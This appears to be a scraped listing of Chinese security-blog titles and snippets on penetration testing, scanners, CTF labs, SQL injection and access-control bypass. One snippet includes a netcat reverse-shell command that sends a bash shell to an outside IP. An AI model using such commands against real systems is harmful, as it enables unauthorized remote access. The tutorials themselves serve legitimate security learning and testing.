Spring boot带来的信息泄露
一、什么是ActuatorSpring Boot Actuators 模块端点信息官方文档：Spring Boot Actuator Web API DocumentationSpring Boot Actuator 模块提供了健康检查，审计，指标收集，HTTP 跟踪等，是帮助我们监控和管理Spri
Appscan安全测试
Appscan主要是对web应用和移动端app做安全扫描，通过录制脚本、选择扫描规则、回放脚本，来发现系统存在的SQL注入、XSS、CSRF等安全漏洞，并能自动生成安全测试报告。
几款好用的自动化单元测试框架和工具
用自动化单元测试的方式，研发人员（通常建议单元测试由开发人员完成最为高效，但是开发人员通常项目任务紧，时间和精力不够）在用例设计、执行和数据管理上不需要再花费巨量的时间，就可能有足够的精力来真正进行和完成单元测试内容。
内网渗透-常用反弹shell方法总结
常用反弹shell方法总结文章目录常用反弹shell方法总结前言bash反弹shellnc反弹shell1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 99992. 如果linux中nc没有-e参数3.nc 弹windows下的shell:whois 反弹she
一款强大的红队信息收集和资产收集工具（Kscan）
一款强大的红队资产测绘工具（Kscan）
信息搜集方法总结
对常用的信息搜集方法做了一个简单的总结。
msf--Linux反弹shell--一看就会的实验
msf--Linux反弹shell--一看就会的实验
防病毒Clamav使用及API调用测试
1、Clamav介绍(1）clamav是什么？ ClamAV 是一个C语言开发的开源 (GPLv2) 反病毒工具包，专为邮件网关上的电子邮件扫描而设计。它提供了许多实用程序，包括灵活且可扩展的多线程守护程序、命令行扫描程序和用于自动数据库更新的高级工具。该软件包的核心是一个以共享库形式提供的反病毒引
CFS三层内网靶场渗透
使用搭载了VMnet1网卡的kali模拟攻击者从外网信息收集，得到网站信息，利用网站漏洞夺取外网服务器权限，又将失陷的外网服务器作为跳板机，通过代理的方式访问到了内网服务器，然后通过内网服务器网站的漏洞，再一次夺取权限并建立二次代理以后，到达内网办公环境，最后利用主机所存在的漏洞，获得内网主机权限的
登陆界面改怎么测试，分析，测试用例
主要考察: 测试者是否熟悉各种测试方法，是否有丰富的 App/Web 测试经验，以及相关开发经验，以及设计 Test case 的能力。功能测试 (Function test)1)输入正确的用户名和密码，点击提交按钮，验证是否能正确登录2)输入错误的用户名或者密码, 验证登录会失败，是否有相应的错误
安全性测试方法
测试cookie是否进行了安全性方面的设置。例如secure=true,防止cookie在HTTP会话中以明文传输；httponly=true,防止JS脚本读取cookie信息，防止XSS攻击。使用新版本有助于防止基于已知漏洞的XSS工具。安全中的权限问题主要包括未授权访问和越权两大类。
burpsuite安装插件captcha-killer识别验证码
安装和初步使用captcha-killer插件进行验证码识别
CTF综合靶场渗透系列-Billu_b0x
CTF综合靶场渗透系列-Billu_b0x
Kali下安装 dvwa 的完整详细教程
Kali下安装 dvwa 的完整详细教程
AppScan 安全测试详解+实操
appscan详解、实操、未登录、登录、登录带验证码等等，解决方式~~
开发人员使用Klocwork进行软件安全的五大原因
KlocworkCheckerStudio是一个GUI应用程序，它使开发团队可以使用其优雅的KAST表达式语言轻松实现自己的自定义编码标准。这使开发人员能够调用他们自己的代码库所独有的危险做法。
Fault、Error及Failure的解释
Fault、Error和Failure的关系为：Fault（缺陷）可能导致Error（差错），Error（差错）可能导致Failure（失效）
渗透测试-靶机打靶思路与方法
渗透测试-靶机打靶思路与方法文章目录渗透测试-靶机打靶思路与方法一．对靶机进行信息收集1.首先对目标存活靶机发起嗅探：2.对目标主机开放端口及服务发起探测3.对非web端口的服务发起迅速的嗅探，尝试使用nday进行攻击4.开始进行web端口外部打点尝试二．一些靶机打点的工具和知识三．进行linux下
渗透测试-SQL注入之宽字节注入
渗透测试-SQL注入之宽字节注入
渗透测试-渗透中403/401页面绕过的思路总结
渗透中403/401页面绕过的思路总结文章目录渗透中403/401页面绕过的思路总结0x01 前言0x02 利用姿势1.端口利用2.修改HOST3.覆盖请求URL4.Referer标头绕过5.代理IP6.扩展名绕过7.扫描的时候8.最后补充再一些401和403 bypass的tips0x01 前言做
